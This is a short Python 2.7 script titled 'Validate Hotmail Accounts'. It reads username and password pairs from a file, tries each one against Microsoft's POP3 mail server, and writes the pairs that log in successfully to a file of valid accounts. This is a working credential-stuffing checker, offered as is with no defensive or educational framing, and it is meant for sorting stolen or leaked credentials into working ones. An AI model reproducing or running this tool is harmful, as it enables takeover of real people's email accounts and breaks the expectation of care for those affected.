Validate Hotmail Accounts

#Python 2.7

import poplib

pwlist = open('passwd.txt').readlines()

for pair in pwlist:
  valid = open('valid.txt', 'a')
  un, pw = pair.strip().split(';')
  try:
    M = poplib.POP3_SSL('pop3.live.com', 995)
    print M.user(un)
  except:
    print 'Connection error'

  try:
    pwmsg = M.pass_(pw)
    print pwmsg
    if pwmsg[0:3] == '+OK':
        valid.write(';'.join([un, pw+'\n']))
        print 'Valid account:', un, 'found.'
    M.quit()
  except:
    print 'Invalid account:', un

  valid.close()

print 'Finished'